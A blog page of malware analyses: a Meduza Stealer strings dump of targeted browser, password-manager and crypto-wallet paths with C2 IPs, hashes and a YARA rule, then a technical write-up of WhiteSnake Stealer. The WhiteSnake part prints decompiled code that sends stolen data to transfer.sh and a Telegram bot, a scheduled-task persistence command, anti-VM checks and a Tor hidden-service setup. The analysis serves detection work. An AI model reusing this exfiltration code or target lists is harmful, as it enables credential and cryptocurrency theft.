0x4533e7:  Server Enterprise (core installation)
0x4531c6:  Enterprise Evaluation
0x453043:  Server Enterprise
0x452e96:  Server Standard (core installation)
0x452b77:  Datacenter Edition (core installation)
0x452956:  Datacenter Edition
0x4526ff:  Server Hyper Core V
0x4524a8:  Business Edition
0x452227:  Windows Essential Server Solution Management 
0x451fdc:  Windows Essential Server Solution Additional
0x451b3f:  Professional Education
0x4500bd: Accept: text/html; text/plain; */*
0x43ff93: OpenVPN Connect\profiles
0x43f5a1: Local Storage\leveldb
0x43dd54: SOFTWARE\Valve\Steam
0x43bf3f: SOFTWARE\monero-project\monero-core
0x43b32f: SOFTWARE\Etherdyne\Etherwall\geth
0x43959c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439578: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x439560: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C4A4AE8F-B9F7-4CC7-8A6C-BF7EEE87ACA5}_is1
0x438d7c: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x438d58: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x438d40: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1
0x435e94: Local Extension Settings
0x435854: chromium_browsers
0x434c15: formhistory.sqlite
0x434a51: autofill-profiles.json
0x4341b5: Login Data For Account
0x433ff1: Login Data For Account
0x4333a5: Extension Cookies
0x4331e1: Extension Cookies
0x43295f: dhgnlgphgchebgoemcjekedjjbifijid
0x43260e: egjidjbpglichdcondbcbdnbeeppgdph
0x4322cc: aholpfdialjgjfhomihkjbmgjidlcdno
0x431f90: hnhobjmcibchnmglfbldbfabcgaknlkj
0x431bd0: apnehcjmnengpnmccpaibjmhhoadaico
0x431810: gojhcdgcpbpfigcaejpfhfegekdgiblk
0x431450: odbfpeeihdkbihmopkbjmoonfanlbfcl
0x431090: cihmoadaighcejopammfbmddcmdekcje
0x430cd2: dngmlblcodfobpdpecaadgfbcggfjfnm
0x430a5f: Maiar DeFi Wallet
0x430860: lpfcbjknijpeeillifnkikgncikgfhdo
0x4304a0: acdamagkdfmpkclpoglgnbddngblgibo
0x4300e0: kmhcihpebfmpgmihbkipmjlmmioameka
0x42fd20: nlgbhdfgdhgbiamfdfmbikcdghidoadd
0x42f960: klnaejjgbibmhlephnhpmaofohgkpgkd
0x42f5a0: jojhfeoedkpkglbfimdfabpdfjaoolaf
0x42f1e0: nhnkbkgjikgcigadomkphalanndcapjk
0x42ee20: cnmamaachppnkjgnildpdmkaakejnhae
0x42ea60: jnmbobjmhlngoefaiojfljckilhhlhcj
0x42e6a0: hcflpincpppdclinealmandijcmnkbgn
0x42e2e0: hmeobnfnfcmdkdcmlblgagmfpfboieaf
0x42df20: nknhiehlklippafakaeklbeglecifhad
0x42db60: cphhlgmgameodnhkjdmkpanlelnlohao
0x42d7a0: acmacodkjbdgmoleebolmdjonilkdbch
0x42d3e0: pdadjkfkgcafgbceimcpbkalnfnepbnk
0x42d020: aiifbnbfobpmeekipheeijimdpnlpgpp
0x42cc60: cnmamaachppnkjgnildpdmkaakejnhae
0x42c8a0: ojbpcbinjmochkhelkflddfnmcceomdi
0x42c4e0: epapihdplajcdnnkdeiahlgigofloibg
0x42c120: efbglgofoippbgcjepnhiblaibcnclgk
0x42bd60: dkdedlpgdmmkkfjabffeganieamfklkm
0x42b9a0: gjagmgiddbbciopjhllkdnddhcglnemk
0x42b5e0: ifckdpamphokdglkkdomedpdegcjhjdp
0x42b220: mnfifefkajgofkcjkemidiaecocnkjeh
0x42ae60: jnkelfanjkeadonecabehalmbgpfodjm
0x42aaa2: onhogfjeacnfoofkfgppdlbmlmnplgbn
0x42a82f: SubWallet (Polkadot)
0x42a632: bcopgchhojmggmffilplmbdicgaihlkp
0x42a3bf: Hycon Lite Client
0x42a1c0: jnmbobjmhlngoefaiojfljckilhhlhcj
0x429e02: cjelfplplebdjjenllpjcblmjkfcffne
0x429b8f: Jaxx Liberty (Web)
0x429990: nlbmnnijcnlegkjjpcfjclmcfggfefdm
0x4295d0: hnfanknocfeofbddgcijnmhnfnkdnaad
0x429210: amkmjjmmflddogmhpjloimipbofnfjih
0x428e50: kncchdigobghenbbaddojjnnaogfppfj
0x428a90: ffnbelfdoeiohenkjibnmadjiehjhajb
0x4286d0: bhhhlbepdkbapadjdnnojkbgioiodbic
0x428310: phkbamefinggmakgklpkljjmgibohnba
0x427f50: ookjlbkiijinhpmnjffcofjonbfbgaoc
0x427b90: ppdadbejkmjnefldpcdjhnkpbjkikoip
0x4277d0: kjmoohlgokccodicjjfebfomlbljgfhk
0x427410: fnjhmkhhmkbjkkabndcnnogagogbneec
0x427050: kpfopkelmapcoipemfendmdcghnegimn
0x426c90: jbdaocneiiinmjbjlgalhcelgbejmnid
0x4268d0: fhilaheimglignddkjgofkcbgekhenbh
0x426510: pnlfjmlcjdjgkddecgincndfgegkecke
0x426150: dmkamcknogkgcdfhhbddcghachkejeap
0x425d90: cjmkndjhnagcfbpiemnkdpomccnjblmj
0x4259d0: cmndjbecilbocjfkibfbifhngkdmjgog
0x425610: bkklifkecemccedpkhcebagjpehhabfb
0x425250: ldinpeekobnhjjdofggfgjlcehhmanlj
0x424e90: mfhbebgoclkghebffdldpobeajmbecfk
0x424ad0: ippiokklhjjdlmmonmjimgbgnnllcleg
0x424710: pocmplpaccanhmnllbbkpgfliimjljgo
0x424350: fhmfendgdocmcbmfikdcogofphimnkno
0x423f90: nphplpgoakhhjchkkhmiggakijnkhfnd
0x423bd0: bocpokimicclpaiekenaeelehdjllofo
0x423810: mfgccjchihfkkindfppnaooecgfneiii
0x423450: ibnejdfjmmkpcnlpebklmnkoeoihofec
0x423090: bfnaelmomeimhlpmgjnjophhpkkoljpa
0x422cd0: fcckkdbjnoikooededlapcalpionmalo
0x422910: dfeccadlilpndjjohbjdblepmjeahlmm
0x422550: afbcbjpbpfadlkmhmclhkeeodmamcflc
0x422190: flpiciilemghbmfalicajoolhkkenfel
0x421dd0: dfmbcapkkeejcpmfhpnglndfkgmalhik
0x421a10: abkahkcbhngaebpcgfmhkoioedceoigp
0x421650: nanjmdknhkinifnkgdcggcfnhdaammmj
0x421290: blnieiiffboillknjnepogjhkgnoapac
0x420ee0: hpglfhgfnhbgpjdenjgmdgoeiappafln
0x420b20: lodccjjbdhfakaekdiahmedfbieldgik
0x420760: apenkfbbpmhihehmihndmmcdanacolnh
0x4203a0: lgmpcpglpngdoalbgeoldeajfclnhafa
0x41ffe0: aeachknmefphepccionboohckonoeemg
0x41fc20: fihkakfobkmkjojpchpfgcmhfjnmnfpi
0x41f860: fhbohimaelbohpjbbldcngcnapndodjp
0x41f4a2: djclckkglechooblngghdinmeemkbgci
0x41f22f: Metamask (Opera)
0x41f030: ejbalbakoplchlghecdalmeeeajnimhm
0x41ec85: nkbihfbeogaeaoehlefnkodbefgpgknn
0x41e828: gaedmjdfmmahhbjefcbgaolhhanlaolb
0x41e488: igkpcodhieompeloncfnbekccinhapdb
0x41e0e8: nhhldecdfagpbfggphklkaeiocfnaafm
0x41dd48: chgfefjpcobfbnpmiokfjjaglahmnded
0x41d9a8: jhfjfclepacoldmjmkmdlmganfaalklb
0x41d608: nofkfblpeailgignhkbnapbephdnmbmn
0x41d268: bmikpgodpkclnkgmnpphehdgcimmided
0x41cec8: naepdomgkenhinolocfifgehidddafch
0x41cb28: bbcinlkgjjkejfdpemiealijmmooekmp
0x41c788: hdokiejnpimakedhajhdlcegeplioahd
0x41c3ec: ljfpcifpgbbchoddpjefaipoiigpdmag
0x41c181: RoboForm (Web Edge)
0x41bf98: pnlccmojcmeohlpggmfnbbiapkmbliob
0x41bc08: bfogiafebfohielmmehodmfbbebbbpei
0x41b868: fooolghllnmhmmndgjiamiiodkpenpbb
0x41b4dc: jbkfoedolllekgbhcbcoahefnbanhhlh
0x41b271: Bitwarden (Edge)
0x41b088: nngceckbapebfimnlniiiahkandclblb
0x41ace8: gehmmocbbkpblljhkekmfhjpfbkclbph
0x41a948: fdjamakpfbbddfjaooikfcpapjohcfmg
0x41a5bc: pdffhmdngciaglkoonimfcmckehcpafo
0x41a351: KeePassXC (Web Edge)
0x41a168: oboonakemofpalcgghocfoadofidjkkk
0x419ddc: dppgmdbiimibapkepcbdbmkaabgiofem
0x419b71: 1Password (Edge)
0x419988: aeblfdkhhhdcdjpifhhbdiojplfjncoa
0x4195fc: oeljdldpnmdbchonielidgobddffflal
0x419391: EOS Authenticator
0x4191ac: ilgcnhelpchnceeipipijaljkblbcobl
0x418f41: GAuth Authenticator
0x418d5c: imloifkgjagghnncjkhggdhalmcnfklk
0x418af1: Trezor Password Manager
0x418908: ocglkepbibnalbgmbachknglpdipeoio
0x418696: Authenticator (Edge)
0x4184ae: bhghoamapcdpbohphigoooaddinpkbai
0x418083: FlashPeak\SlimBrowser
0x417db2: BitTube\BitTubeBrowser
0x417ae1: Moonchild Productions\Basilisk
0x4175f4: Moonchild Productions\Pale Moon
0x417323: NETGATE Technologies\BlackHawk
0x417052: 8pecxstudios\Cyberfonx
0x416d81: Comodo\IceDragon
0x416262: Mozilla\SeaMonkey
0x415ac1: Naver\Naver Whale
0x4157e6: ViaSat\Viasat Browser
0x415515: InsomniacBrowser
0x415351: InsomniacBrowser
0x414095: CryptoTab Browser
0x413ed1: CryptoTab Browser
0x4136b1: UCBrowser\User Data_i18n
0x4131c1: AVAST Software\Browser
0x412455: CCleaner Browser
0x412291: CCleaner Browser
0x411629: Rafotech\Mustang
0x411465: Rafotech Mustang
0x4112a1: MapleStudio\ChromePlus
0x410971: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410944: Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
0x410635: Sleipnir5 ChromiumViewer
0x410471: CatalinaGroup\Citrio
0x410199: Elements Browser
0x40ffd5: Elements Browser
0x40fe11: Opera Software\Opera GX Stable
0x40fb18: Opera Software\Opera Crypto Developer
0x40f8a6: Opera Crypto Developer
0x40f6e2: Opera Software\Opera Neon
0x40f411: Opera Software\Opera Stable
0x40e8c1: Yandex\YandexBrowser
0x40db2c: Safer Technologies\Secure Browser
0x40d8c1: Safer Secure Browser
0x40d2c1: Lenovo\SLBrowser
0x40cbb3: Tencent\QQBrowser
0x40c8e2: Maxthon\Application
0x40c611: Maxthon5\Users\guest\MagicFill
0x40c015: 360 Secure Browser
0x40be51: 360Browser\Browser
0x40a879: Epic Privacy Browser
0x40a6b5: Epic Privacy Browser
0x40a4f1: BraveSoftware\Brave-Browser
0x409e06: 360ChromeX\Chrome
0x409b35: Google\Chrome SxS
0x409971: Google Chrome SxS
0x4097a9: Google(x86)\Chrome
0x4095e5: Google Chrome (x86)
0x409421: Google\Chrome Beta
0x409257: Google Chrome Beta
0x408dc1: DiscordDevelopment
0x40850b: Zap\Local Storage\leveldb
0x40823b: Bisq\btc_mainnet\wallet
0x407f6b: Bisq\btc_mainnet\keys
0x407c8b: atomic_qt\config
0x4079ab: MyCrypto\Local Storage\leveldb
0x4076cf: MyMonero\Local Storage\leveldb
0x407501: Daedalus Mainnet
0x40733b: Daedalus Mainnet
0x406c0f: Binance\Local Storage\leveldb
0x404d2b: ElectronCash\config
0x404a4b: ElectronCash\wallets
0x40476b: WalletWasabi\Client\Config.json
0x40448b: WalletWasabi\Client\Wallets
0x4041ab: Guarda\Local Storage\leveldb
0x403ecf: atomic\Local Storage\leveldb
0x4039cb: Electrum-LTC\config
0x4036ef: Electrum-LTC\wallets
0x4031eb: Electrum\wallets
0x402f0f: Ethereum\keystore
0x402a1b: Exodus\exodus.wallet
0x402747: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x40271a: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x4011c3: Coinomi\Coinomi\wallets

Meduza Stealer Configuration Extractor

I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.

config_extract.jpg

You can grab the configuration from my GitHub page as well.

Indicators Of Compromise

NameIndicators
C279.137.203.39
C277.105.147.140
C279.137.207.132
C279.137.203.37
C279.137.203.6
C2185.106.94.105
SHA-256702abb15d988bba6155dd440f615bbfab9f3c0ed662fc3e64ab1289a1098af98
SHA-2562ad84bfff7d5257fdeb81b4b52b8e0115f26e8e0cdaa014f9e3084f518aa6149
SHA-256f0c730ae57d07440a0de0889db93705c1724f8c3c628ee16a250240cc4f91858
SHA-2561c70f987a0839d11826f053ae90e81a277fa154f5358303fe9a511dbe8b529f2
SHA-256cbc07d45dd4967571f86ae75b120b620b701da11c4ebfa9afcae3a0220527972
SHA-256afbf62a466552392a4b2c0aa8c51bf3bde84afbe5aa84a2483dc92e906421d0a
SHA-2566d8ed1dfcb2d8a9e3c2d51fa106b70a685cbd85569ffabb5692100be75014803
SHA-256ddf3604bdfa1e5542cfee4d06a4118214a23f1a65364f44e53e0b68cbfc588ea
SHA-256f575eb5246b5c6b9044ea04610528c040c982904a5fb3dc1909ce2f0ec15c9ef
SHA-25691efe60eb46d284c3cfcb584d93bc5b105bf9b376bee761c504598d064b918d4
SHA-256a73e95fb7ba212f74e0116551ccba73dd2ccba87d8927af29499bba9b3287ea7

Yara Rule

rule MeduzaStealer {
	meta:
		author = "RussianPanda"
		description = "Detects MeduzaStealer" 
		date = "6/27/2023"

	strings:
		$s1 = {74 69 6D 65 7A 6F 6E 65}
		$s2 = {75 73 65 72 5F 6E 61 6D 65}
		$s3 = {67 70 75}
		$s4 = {63 75 72 72 65 6E 74 5F 70 61 74 68 28 29}
		$s5 = {C5 FD EF}
		$s6 = {66 0F EF}

	condition:
		all of them and filesize < 700KB
}
Posted in Crack Tutorials, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Case Study

WhiteSnake Stealer first appeared on hacking forums at the beginning of February 2022.

04.jpg

The stealer collects data from various browsers such as Firefox, Chrome, Chromium, Edge, Brave, Vivaldi, CocCoc, and CentBrowser. Besides browsing data, it also collects data from Thunderbird, OBS-Studio, FileZilla, Snowflake-SSH, Steam, Signal, Telegram, Discord, Pidgin, Authy, WinAuth, Outlook, Foxmail, The Bat!, CoreFTP, WinSCP, AzireVPN, WindscribeVPN.

The following are crypto wallets collected by WhiteSnake: Atomic, Wasabi, Exodus, Binance, Jaxx, Zcash, Electrum-LTC, Guarda, Coinomi, BitcoinCore, Electrum, Metamask, Ronin, BinanceChain, TronLink, Phantom.

The subscription pricing for the stealer:

  • 120$ – 1 month
  • 300$ – 3 months
  • 500$ – 6 months
  • 900$ – 1 year
  • 1500$ – lifetime

The stealer claims to leave no traces on the infected machine; it does not require the user to rent the server. The communication between the infected and the attacker’s controlled machine is handled by Tor. The stealer also has loader and grabber functionalities.

What also makes this stealer interesting and quite unique compared to other stealer families is the payload support in different file extensions such as EXE, SCR, COM, CMD, BAT, VBS, PIF, WSF, .hta, MSI, PY, DOC, DOCM, XLS, XLL, XLSM. Icarus Stealer was probably the closest one to this stealer with the file extension support feature. You can check out my write-up on it here. Another interesting feature is the Linux Stub Builder, where the user can generate Python or .sh (shell) files to run the stealer on Linux systems. The stealer would collect the data from the following applications: Firefox, Exodus, Electrum, FileZilla, Thunderbird, Pidgin, and Telegram.

But enough about the introduction. Let us jump into the technical part and the stealer panel overview.

WhiteSnake Analysis

WhiteSnake builder panel contains the settings to enable the Telegram bot for C2 communication. The user can also configure Loader and Grabber settings. The user can choose whether to encrypt the exfiltrated data with just an RC4 key or add an RSA encryption algorithm. With RC4 encryption, anyone with access to the stealer builder can decrypt the logs. But RSA + RC4 encryption algorithm, the user would need to know the private RSA key to be able to extract an RC4 key which is quite challenging.

builer_panel1.jpg

The user can add the fake signature to the generated builds. There are currently eight signatures under the user’s exposal.

  • Adobe (Adobe Systems Incorporated, VeriSign)
  • Chrome (Google LLC, DigiCert)
  • Firefox (Mozilla Corporation, DigiCert)
  • Microsoft (Microsoft Corporation, Microsoft Code Singing PCA 2011)
  • Oracle (Oracle Corporation, DigiCert, VeriSign)
  • Telegram (Telegram FZ-LLC, Sectigo)
  • Valve (Valve Corp., DigiCert)
  • WinRar (win.rar GmbH, Globalsign)

Stealers such as Vidar and Aurora (RIP) have the file size pumper enabled to append junk bytes to the end of the builds to increase the file, thus avoiding the detection and preventing it from being analyzed by most sandboxes. The user can pump the file size up to 1000MB. The user can choose a specific .NET framework version to run the stealer. Version 2.0 works for Windows 7, and version 4.7 works for Windows 8 and above.

The stealer has two execution methods:

  • Non-resident – the stealer auto-deletes itself after successful execution
  • Resident – the stealer beacons out to the C2 WhiteSnake stealer payload can be generated with these features enabled:
  • AntiVM
  • Auto-Keylogger
  • Random resources
  • USB Spread
  • Local user spread I will mention some of these features further in this write-up.

Let’s look at some of the payloads with different file extensions.

  • Cmd – this generates the batch file The batch file sets the command line title to “Update … “. sets an environment variable named s7545ebdc38726fd35741ea966f41310d746768 with the value %TEMP%\Ja97719d578b685b1f2f4cbe8f0b4936cf8ca52. The %TEMP% represents the path to the user’s temporary folder. The final decoded payload is saved as P114cace969bca23c6118304a9040eff4.exe under the %TEMP% folder.
batch1.jpg

The script grabs the substring that starts and ends with a specific index specified in the batch file. Taking, for example, echo %XMgElBtkFoDvgdYKfJpS:~0,600% , it extracts the substring starting from index 0 and ending at index 600 (inclusive) from the variable XMgElBtkFoDvgdYKfJpS, which is:

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ

From:

set XMgElBtkFoDvgdYKfJpS=TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKZEs4YAAAAAAAAAAOAAIgALATAAACAFAAAKAAAAAAAAHj4FAAAgAAAAQAUAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACABQAAAgAAAAAAAAIAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAMg9BQBTAAAAAEAFABQHAAAAAAAAAAAAAAAAAAAAAAAAAGAFAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAJB4FAAAgAAAAIAUAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAABQHAAAAQAUAAAgAAAAiBQAAAAAAAAAAAAAA6g

You might have noticed that the string begins with TVqQ, which decodes to an MZ header from Base64.

base64.jpg

When the big base64-encoded blob is formulated, certutil is used to decode it, and the executable is launched under the mentioned %TEMP% folder.

batch2.jpg
  • VBS – generates the VBS file that is launched via wscript.exe, and, again, certutil is used to decode the Base64 blob. The file containing the Base64 blob is saved under the same folder as the decoded executable file (%TEMP%). The Base64 blob is in reversed order. After decoding, the payload is placed under the Temp folder mentioned above as a randomly generated filename, for example, od1718d0be65b07c0fd84d1d9d446.exe (GetSpecialFolder(2) retrieves the Temp folder)
vbs.jpg
  • WSF and HTA – the same logic as for the VBS is applied to WSF and HTA payloads.
wsf.jpg
  • Python payload. The payloads can be generated either in Python 1-2 or 3. With Python 1-2, the stealer payload is executed from the %TEMP% directory after Base64-decoding.
python-12.jpg
python-12(2).jpg

With Python 3, the code checks if the operating system is Linux; if not, then it exits with the following condition:

if 'linux' not in H().lower():
	exit(1)

The code also checks if the ISP obtained from the IP geolocation API matches certain predefined values. If a match is found with either ‘google’ or ‘mythic beasts’, the script exits with an exit code of 5 as shown below:

I,J=O.data.decode(N).strip().split('\n')
for P in ['google','mythic beasts']:
	if P in J.lower():exit(5)

The screenshot caption function operates the following way:

  • First, the code checks if the variable S is set to True, which indicates that the PIL (Python Imaging Library) module, specifically ImageGrab from PIL, is available. If the module is available, the variable S is set to True. Otherwise, it is set to False.
  • Inside the n() function, an attempt is made to capture the screenshot using the PIL module if S is True. The ImageGrab module’s grab() function is called to capture the screenshot, and then it is saved to a BytesIO object called C as a PNG image.
  • The BytesIO object C, which holds the PNG image data, is then encoded as base64 using the b64encode() function from the base64 module. The resulting base64-encoded image is assigned to the variable C.
  • The base64-encoded screenshot image is saved to a JSON file named system.json along with other system-related information like the username, computer name, IP address, operating system, Stub version, Tag, and Execution timestamp, as shown in the code snippet below:
with open(A.join(B,'system.json'),'w')as R:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':H(),'Tag':T,'IP':I,'Stub version':k,'Execution timestamp':time()},R)

Let’s look at this function:

def p(buffer):
    A = d(16)
    B = Z(buffer)
    C = m(A, B)
    return b'LWSR$' + C + A

Which does the following:

  • A = d(16) – it generates a 16-byte random key, which is assigned to the variable A.
  • B = Z(buffer) – the buffer is passed to the Z function, assigning the result to the variable B. The implementation of the Z function is not provided in the code snippet, so it is unclear what it does.
  • C = m(A, B) – the m function is called with the key A and the processed buffer B. The m function seems to perform some encryption or transformation on the buffer using the provided key.
  • return b’LWSR$’ + C + A – the function concatenates the byte string ‘LWSR$’, the transformed buffer C, and the key A. It returns the resulting byte string. The ‘LWSR$’ prefix could potentially be used as a marker or identifier for the encrypted data.

The m function contains the RC4 encryption function shown below:

def m(key,data):
	A=list(W(256));C=0;D=bytearray()
	for B in W(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]

	B=C=0

	for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])

	return bytes(D)

j parameter contains the configuration of the stealer:

<?xml version="1.0" encoding="utf-8"?><Commands xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">  <commands><command name="2"><args><string>~/snap/firefox/common/.mozilla/firefox</string><string>~/.mozilla/firefox</string></args></command><command name="2"><args><string>~/.thunderbird</string></args></command><command name="0"><args><string>~/.config/filezilla</string><string>sitemanager.xml;recentservers.xml</string><string>Apps/FileZilla</string></args></command><command name="0"><args><string>~/.purple</string><string>accounts.xml</string><string>Apps/Pidgin</string></args></command><command name="0"><args><string>~/.local/share/TelegramDesktop/tdata;~/.var/app/org.telegram.desktop/data/TelegramDesktop/tdata;~/snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata</string><string>*s;????????????????/map?</string><string>Grabber/Telegram</string></args></command><command name="0"><args><string>/home/vm/.config/Signal;~/snap/signal-desktop/current/.config/Signal</string><string>config.json;sql/db.sqlite</string><string>Grabber/Signal</string></args></command><command name="0"><args><string>~/.electrum/wallets;~/snap/electrum/current/.electrum/wallets</string><string>*wallet*</string><string>Grabber/Wallets/Electrum</string></args></command><command name="0"><args><string>~/.config/Exodus</string><string>exodus.conf.json;exodus.wallet/*.seco</string><string>Grabber/Wallets/Exodus</string></args></command>  </commands></Commands>

The configuration is used to enumerate through the directories and extract the predefined data such as Firefox cookies and credentials, Thunderbird and FileZilla config files, cryptocurrency wallets, Telegram, and Signal data. The extracted data is then RC4-encrypted with a random 16-byte key, compressed in a ZIP archive, and sent over to transfer.sh and Telegram Bot.

The snippet that is responsible for sending data to transfer.sh and Telegram:

def q(buffer):I=buffer;B='https://transfer.sh/';A=B+f"{D()}@{E()}.wsr";G=F();K=G.request('PUT',A,body=I);J=K.data.decode(N).replace(B,B+'get/');A=b(C(chat_id=h,text='\n#{0}\n\n<b>OS:</b> <i>{1}</i>\n<b>Username:</b> <i>{2}</i>\n<b>Compname:</b> <i>{3}</i>\n<b>Report size:</b> <i>{4}Mb</i>\n'.format(T,H(),D(),E(),round(len(I)/(1024*1024),2)),parse_mode='HTML',reply_markup=dumps(C(inline_keyboard=[[C(text='Download',url=J),C(text='Open',url='http://127.0.0.1:18772/handleOpenWSR?r='+J)]]))));A='https://api.telegram.org/bot{0}/sendMessage?{1}'.format(i,A);G=F();G.request(M,A)

The data is sent to Telegram, where Download URL is the transfer.sh generated URL, which would be in the format transfer.sh/username@computername.wsr:

{
  "chat_id": "",
  "text": "\n#<BUILD_TAG\n\n<b>OS:</b> <i>[Operating System]</i>\n<b>Username:</b> <i>[Username]</i>\n<b>Compname:</b> <i>[Computer Name]</i>\n<b>Report size:</b> <i>[File Size]Mb</i>\n",
  "parse_mode": "HTML",
  "reply_markup": {
    "inline_keyboard": [[{ "text": "Download", "url": "[Download URL]"}, {"text": "Open", "url": "http://127.0.0.1:18772/handleOpenWSR?r=[Download URL]"}]
    ]
  }
}

It is worth noting that at the time of writing this report, transfer.sh has been down for a few weeks, so our Python 3 payload will not work 😉

  • MSI payload – contains the Custom Action to execute the embedded stealer.
MSIpayload.jpg
  • Macro – the macro script contains the Base64-encoded reversed blob, which is the stealer itself. Upon decoding and reversing the blob, it’s saved as an executable file under the %TEMP% folder.
macro.jpg

The builder of WhiteSnake is built with Python. The standalone builder was built using PyInstaller, that includes all the necessary Python extension modules.

extracted_mods.jpg

WhiteSnake Stealer Analysis

The WhiteSnake Stealer is written in .NET and is approximately 251KB in size (the latest version with all features enabled) in the obfuscated version. In the obfuscated stealer binary, the strings are RC4-encrypted, in the previous versions of the stealer, the strings obfuscation relied on XOR instead. In the newest version, the stealer developer removed the random callouts to legitimate websites.

callout.jpg

The developer also removed string obfuscation that relied on building an array of characters and then converting the array into a string. The character for each position in the array is created by performing various operations, such as division, addition, and subtraction, on numeric values and lengths of strings or byte arrays.

old_obfuscation.jpg

I went ahead and used de4dot to decrypt all the strings and I also changed some of the method and class names to make it easier to understand the stealer functionality.

rc4_enc.jpg

The code in the Entry Point below retrieves the location or filename of the executing assembly using Assembly.GetExecutingAssembly().Location. If the location is unavailable or empty, it tries to get the filename of the main module of the current process using Process.GetCurrentProcess().MainModule.FileName. If either the location or the filename is not empty, it assigns the value to the text variable. If there is an exception during the process, it catches the exception and writes the error message to installUtilLog.txt file located at %TEMP%.

exception_proccheck.jpg

Next, the stealer checks if the Mutex is already present to avoid two instances of the stealer running. The mutex value is present in the configuration of the stealer. If the mutex is present, the stealer will exit.

Mutex_check.jpg

If the AntiVM is enabled, the flag to 1 is set. The stealer checks for the presence of the sandboxes by utilizing the WMI (Windows Management Instrumentation) query:

  • SELECT * FROM Win32_ComputerSystem

The query retrieves the “Model” and “Manufacturer” properties. The stealer checks if any of the properties contain the strings:

  • virtual
  • vmbox
  • vmware
  • thinapp
  • VMXh
  • innotek gmbh
  • tpvcgateway
  • tpautoconnsvc
  • vbox
  • kvm
  • red hat
  • qemu
VMCheck.jpg

And if one of the strings is present, the stealer exits out.

Next, the stealer checks if the execution method flag is set to 1, meaning that the resident mode is enabled. If the mode is enabled, the stealer creates the persistence via scheduled task on the host

schtask.jpg

The example of the task creation cmdline:

  • schtasks /create /tn  /sc MINUTE /tr “C:\\Users\\username>\\AppData\\Local\\EsetSecurity\\ /rl HIGHEST /f

The folder name EsetSecurity is also obtained from the configuration of the stealer.

Moving forward, the Tor directory is created under the random name retrieved from the configuration under %LOCALAPPDATA%. The TOR archive is then retrieved from https://archive.torproject.org/. Tor, short for “The Onion Router,” is a free and open-source software project that aims to provide anonymous communication on the Internet. WhiteSnake uses TOR for communication, which makes it quite unique compared to other stealers. Hidden services or onion services allow services to be hosted on the Tor network without requiring traditional servers or port forwarding configurations. With Tor’s hidden services, the connection is established within the Tor network itself, which provides anonymity. When a hidden service is set up, it generates a unique address ending with .onion under C:\Users<username>\AppData\Local<random_name>\host. This address can only be accessed through the Tor network, and the connection is routed through a series of Tor relays, making it difficult to trace the actual attacker’s server.

tor1.jpg

The function below is responsible for building out the torr.txt, also known as Tor configuration file.

torrc.jpg

Example of the Tor configuration file:

torconfigexample.jpg
  • SOCKSPort 4256: This field specifies the port number (6849) on which Tor should listen for SOCKS connections. The SOCKS protocol is commonly used to establish a proxy connection for applications to communicate through Tor.
  • ControlPort 4257: This field sets the port number (6850) for the Tor control port. The control port allows external applications to interact with the Tor process.
  • DataDirectory C:\Users<username>\AppData\Local<random_name>\data: The DataDirectory field specifies the directory where Tor should store its data files, such as its state, cached data, and other runtime information.
  • HiddenServiceDir C:\Users<username>\AppData\Local<random_name>\host: This directive specifies the directory where Tor should store the files related to a hidden service. Hidden services are websites or services hosted on the Tor network, typically with addresses ending in .onion. In this example, the hidden service files will be stored in C:\Users<username>\AppData\Local<random_name>\host.
  • HiddenServicePort 80 127.0.0.1:6848: This field configures a hidden service to listen on port 80 on the local loopback interface (127.0.0.1) and forward incoming connections to port 6848.
  • HiddenServiceVersion 3: This field specifies the version of the hidden service. Please note that the port numbers can vary on each infected machine.

